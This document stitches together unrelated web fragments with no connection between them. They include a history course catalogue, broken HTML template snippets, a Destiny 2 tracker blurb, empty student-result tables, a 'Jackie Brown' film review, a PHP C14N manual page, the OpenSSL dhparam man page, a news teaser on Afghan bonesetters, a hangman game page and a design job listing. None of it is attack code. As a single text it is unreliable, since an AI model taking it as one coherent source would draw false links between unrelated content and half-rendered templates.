Introduction to the modern history of the Islamic republics of Iran and Afghanistan and the secular republics of Central Asia from 1750 to 2001. Includes discussion of colonialism, the role of the U.S., and diaspora and exile in these predominantly Muslim societies.
View course details in MyPlan: HSTAFM 465
HSTAFM 552 Field Course in African History (5)
Methodological and conceptual issues in African historiography, focusing on 1500 to the present. Examines topics including pre-colonial politics and economics, slavery and the slave trades, European conquest and colonization, resistance movements and nationalist politics, and post-colonial debates and dilemmas. Special attention to issues of gender, race, ethnicity, and class.
View course details in MyPlan: HSTAFM 552
HSTAFM 561 Islamic History (3-6, max. 6)
Field course. Introduction to advanced study in the major periods and problems of Islam. Bibliographical guidance is stressed.
View course details in MyPlan: HSTAFM 561
HSTAFM 562 Ottoman History (3-6, max. 6)
Field course. Introduction to the major periods and problems of Ottoman history, 1300-1914, by acquainting the student with the major works in at least two languages. An attempt is made to teach some use of Ottoman materials. A minor problem is investigated in detail by every student. Prerequisite: knowledge of at least one major language besides English (French, German, Russian, or other).
View course details in MyPlan: HSTAFM 562
HSTAFM 563 Modern Near East (3-6, max. 6)
Field course introducing the student to the major periods and problems of Near Eastern history, 1798 to the present.
View course details in MyPlan: HSTAFM 563


{% extends "base.html" %} {% block content %}
Great job! We appreciate your honest answers.
The following questions are about volunteering. Please try to answer them as good as you can.


You can found a new village anytime. By found a new village you will lose everything expept honor upgrade. High level village will grant more honor but have more malus.


--- layout: post title: Animation test date: '2016-05-10T18:30:37+02:00' categories: - Ello Mobile - Animation picture_url: https://film-Storyboards.tumblr.com/post/144170752208 ---


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{% extends "layout.html" %} {% block title %} Index {% endblock %} {% block main %} My latest project Movie Recommender System with Sentiment Analysis This way to see more of my projects along with the code My latest blog post Airbus, the new king of the Skies?! | Data Storytelling And this way to see more of my blog posts. {% endblock %}
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D2Checklist uses the Bungie API to help make achieving your goals in Destiny easier and more fun.
Search on your gamertag or logon and use "My Info" to see your player page. This page is great for tracking your weekly milestones, bounties, quests, and triumphs. You can also look up other players to check their raid completions or progress
The D2Checklist gear manager lets you view all your gear in a clean table format for sorting and tagging. It will flag God rolls on your guns and help you keep your vault clean and tidy. Be sure to check out Shard Mode, Cheap Upgrade Mode, and Weapon Grind Mode!
This home page is a great place to check what's going on today at a glance. Things like today's Legendary Lost sectors and this week's strike burns. It will also show you vendor items that you should check out, like armor with better rolls than you're currently holding, or exotic gear Xur is selling that you're missing. It also lets you see groups of bounties that are worth completing together and lets you build a "Bounty Shopping List" of those items.
You can search for a clan or sign in and click "My Clan" to view clan info. It's a great tool for clan leaders to find duplicate members or folks that haven't played in a while. The Clan Milestones and Triumphs pages are a great way to check out which of your clanmates share a similar goal with you, so you can reach out and party up with them (perhaps to win 5 more Gambit matches to gild your Dredgen).
The Todo list let's you custom build your own list of bounties, quests and milestones to work on.


| # | Matric Number | Student Name | Program | Graduating Session | Application Date | Action |
|---|---|---|---|---|---|---|
| Review |
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| # | Course ID | Course Name | Course Grade | Grade Point | CECT Type |
|---|---|---|---|---|---|
| The Following are the CE/CT Remark the Student made | ||||||
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| # | Course ID | Course Name | Course Units | Course Status | Course CECT Type | Remarks Comment |
| Students Result By Semester | ||||||||
|---|---|---|---|---|---|---|---|---|
| # | Semester | Status | GPA | CGPA | Credit Hour | Grade Point | Cummulative Hour | Cummulative Point |
| Students Results For All Course Taken | |||||||||
|---|---|---|---|---|---|---|---|---|---|
| # | Semester | Course ID | Course Name | Grade | Grade Point | Credit Hours | Course Point | Cummulative Point | Cummulative Hour |
| Total Credit Passed | |
|---|---|
| Total Credit Exempted | |
| Total Credit Earned | |
| Total Credit Required |
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| Name | Matric Id | ||
|---|---|---|---|
| Contact No | Current CGPA | ||
| Program |
| Intake | Program Type | ||
|---|---|---|---|
| Graduating Session | Total Semester Taken | ||
| Extended Semester? | CT/CE Remark | ||
| SPM Result | MUET Result |
| Students Results For All Course Taken | |||||||||
|---|---|---|---|---|---|---|---|---|---|
| # | Semester | Course ID | Course Name | Grade | Grade Point | Credit Hours | Course Point | Cummulative Point | Cummulative Hour |
| Total Credit Passed | |
|---|---|
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JACKIE BROWN
With all the betrayals among almost all the characters in this crime-caper film, the laughs come fast and frequent. Just about the only non-betrayer is the white bail bondsman, Max Cherry (Robert Forster) who is attracted to the black airline stewardess cum cash smuggler Jackie Brown (Pam Grier). Strong performances by both aid immensely in the enjoyment and believability of the film,.
Jackie, who works for a small airline, adds to her income by smuggling cash for the gunrunner, Ordell Robbie (Samuel L Jackson). In fact that is where she gets in big trouble with a Los Angeles policeman, Dargus (Michael Bowen) and Federal government agent, Nicolette (Michael Keaton) who would like to throw Robbie in jail. For this they need the help of Jackie. Caught with the cash, she is given the option of naming Ordell as the real owner of the money, or they will see that she goes to jail . . . and she promises herself she is never going to go to jail.
What makes the movie a delight are the full-fleshed characters, all played skillfully and frequently sympathetically. There is, of course, Robbie, who has a young floozie living in one of his hideouts. That is Melanie Ralston (Bridget Fonda in perhaps her best acting) as a nymphet. Playing off each other is the somewhat dim-witted Louis Gara (Robert De Niro in a delightful role he must have enjoyed doing immensely).  Some very funny dialog when Robbie asks Gara if he went to bed with Melanie whom he had instructed to "take care of Gara" while Robbie was going out for a bit.
Bail bondsman Forster is perfect for his role as is Pam Grier with her crooked smile. With good dialog by Quentin Tarantino the movie, while not as good as his PULP FICTION, is one not to be missed. For one thing, while there are substantial amounts of gore, Tarantino wisely opted to keep imuch of it off-screen. Movies have already reached the point of overdoing mayhem and blood. Time the directors pulled back a bit and left something to our imagination. In this, Tarantino succeeds nicely.
Based on Elmore Leonard's book, RUM PUNCH.
Directed by Quentin Tarantino. 3 Bytes
4 Bytes = Superb 3 Bytes = Too good to miss 2 Bytes = Average 1 Byte = Save your money
Copyright 1997 Ben Hoffman
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DOMNode::C14N
(PHP 5 >= 5.2.0, PHP 7)
DOMNode::C14N — Canonicalize nodes to a string
说明
public string DOMNode::C14N ([ bool $exclusive [, bool $with_comments [, array
$xpath [, array $ns_prefixes ]]]] )
Canonicalize nodes to a string
参数
exclusive
Enable exclusive parsing of only the nodes matched by the provided xpath or
namespace prefixes.
with_comments
Retain comments in output.
xpath
An array of xpaths to filter the nodes by.
ns_prefixes
An array of namespace prefixes to filter the nodes by.
返回值
Returns canonicalized nodes as a string 或者在失败时返回 FALSE
参见
• DOMNode::C14NFile() - Canonicalize nodes to a file
User Contributed Notes 3 notes
===============================================================================
When working with (malformed) HTML, you're probably better off using
DOMDocument's saveHTML() method instead. C14N() will attempt to make your HTML
valid XML, for example by converting
to
.
So instead of:
$html = $Node->C14N();
Use:
$html = $Node->ownerDocument->saveHTML( $Node );
===============================================================================
C14N() returns an empty string if the node is not included in the document
tree:
loadXML('');
$n = $d->createElement('bar');
var_dump($n->C14N());
$d->documentElement->appendChild($n);
var_dump($n->C14N());
?>
output:
string(0) ""
string(11) ""
===============================================================================
Good to know:
<< Due to a known issue in XML canonicalization in PHP, processing large
metadata files in SimpleSAMLphp takes a big amount of resources, with that
amount growing approximately by the square of the number of entities in the
metadata set >>
https://simplesamlphp.org/metaprocessing
<< The C14N() function appears to have a runtime that is O(N^2) (or possibly
worse?) depending on input size, which means that it becomes very slow as the
input grows. For example, an input with around 196000 nodes takes about 290
seconds, while an input with 486000 nodes takes 2200 seconds. >>
https://bugs.php.net/bug.php?id=53655
We had the same issue with a 4.1 MB XML (105k lines). The sample code of
ticket #53655 takes 1h36 minute to canonicalize it!


{% extends 'base.html' %} {% block title %}WARNING{% endblock title %} {% load staticfiles%} {% block content %}
{% if form.errors %}This action will permanently delete {{project.proejct_title}}, and with it any work you've done on it.
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Afghan Bonesetters Remain Trusted Healers, Despite Doctors' Warnings
by RFE/RL's Radio Free Afghanistan, Margot BuffAfghans who can't afford doctors, can't reach one easily, or don't trust them often opt for a visit to a bonesetter. These traditional practitioners offer low-cost treatment for breaks, sprains, and other injuries. But some doctors say patients who use them are putting themselves in danger.


DHPARAM
Section: OpenSSL (1)Updated: 2009-04-10
Index Return to Main Contents
NAME
dhparam - DH parameter manipulation and generationSYNOPSIS
openssl dhparam [-inform DER|PEM] [-outform DER|PEM] [-in filename] [-out filename] [-dsaparam] [-noout] [-text] [-C] [-2] [-5] [-rand file(s)] [-engine id] [numbits]DESCRIPTION
This command is used to manipulate DH parameter files.OPTIONS
- -inform DER|PEM
- This specifies the input format. The DER option uses an ASN1 DER encoded form compatible with the PKCS#3 DHparameter structure. The PEM form is the default format: it consists of the DER format base64 encoded with additional header and footer lines.
- -outform DER|PEM
- This specifies the output format, the options have the same meaning as the -inform option.
- -in filename
- This specifies the input filename to read parameters from or standard input if this option is not specified.
- -out filename
- This specifies the output filename parameters to. Standard output is used if this option is not present. The output filename should not be the same as the input filename.
- -dsaparam
-
If this option is used, DSA rather than DH parameters are read or created;
they are converted to DH format. Otherwise, ``strong'' primes (such
that (p-1)/2 is also prime) will be used for DH parameter generation.
DH parameter generation with the -dsaparam option is much faster, and the recommended exponent length is shorter, which makes DH key exchange more efficient. Beware that with such DSA-style DH parameters, a fresh DH key should be created for each use to avoid small-subgroup attacks that may be possible otherwise.
- -2, -5
- The generator to use, either 2 or 5. 2 is the default. If present then the input file is ignored and parameters are generated instead.
- -rand file(s)
- a file or files containing random data used to seed the random number generator, or an EGD socket (see RAND_egd(3)). Multiple files can be specified separated by a OS-dependent character. The separator is ; for MS-Windows, , for OpenVMS, and : for all others.
- numbits
- this option specifies that a parameter set should be generated of size numbits. It must be the last option. If not present then a value of 512 is used. If this option is present then the input file is ignored and parameters are generated instead.
- -noout
- this option inhibits the output of the encoded version of the parameters.
- -text
- this option prints out the DH parameters in human readable form.
- -C
- this option converts the parameters into C code. The parameters can then be loaded by calling the get_dhnumbits() function.
- -engine id
- specifying an engine (by its unique id string) will cause dhparam to attempt to obtain a functional reference to the specified engine, thus initialising it if needed. The engine will then be set as the default for all available algorithms.
WARNINGS
The program dhparam combines the functionality of the programs dh and gendh in previous versions of OpenSSL and SSLeay. The dh and gendh programs are retained for now but may have different purposes in future versions of OpenSSL.NOTES
PEM format DH parameters use the header and footer lines:
-----BEGIN DH PARAMETERS----- -----END DH PARAMETERS-----
OpenSSL currently only supports the older PKCS#3 DH, not the newer X9.42 DH.
This program manipulates DH parameters not keys.
BUGS
There should be a way to generate and manipulate DH keys.SEE ALSO
dsaparam(1)HISTORY
The dhparam command was added in OpenSSL 0.9.5. The -dsaparam option was added in OpenSSL 0.9.6.
Index
This document was created by man2html, using the manual pages.
Time: 05:29:03 GMT, December 24, 2015


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Hip-Hop Hangman
The classic game of Hangman, with a lil' more ebb and flow.
Press any key to begin guessing!
Wins:
Losses:
Current word:
Guesses Left:
10
Your incorrect guesses so far:


Leading and mentoring a team of Product DesignersManaging design projects in terms of scope, timeframe and resource allocation
Leading the design from conception to final productDeveloping new design concepts and definig design strategy through collaboration
Performing interviews with users and stakeholders
Creating persona definitions, flowchartrs, wireframes and mockups to demonstrate the experience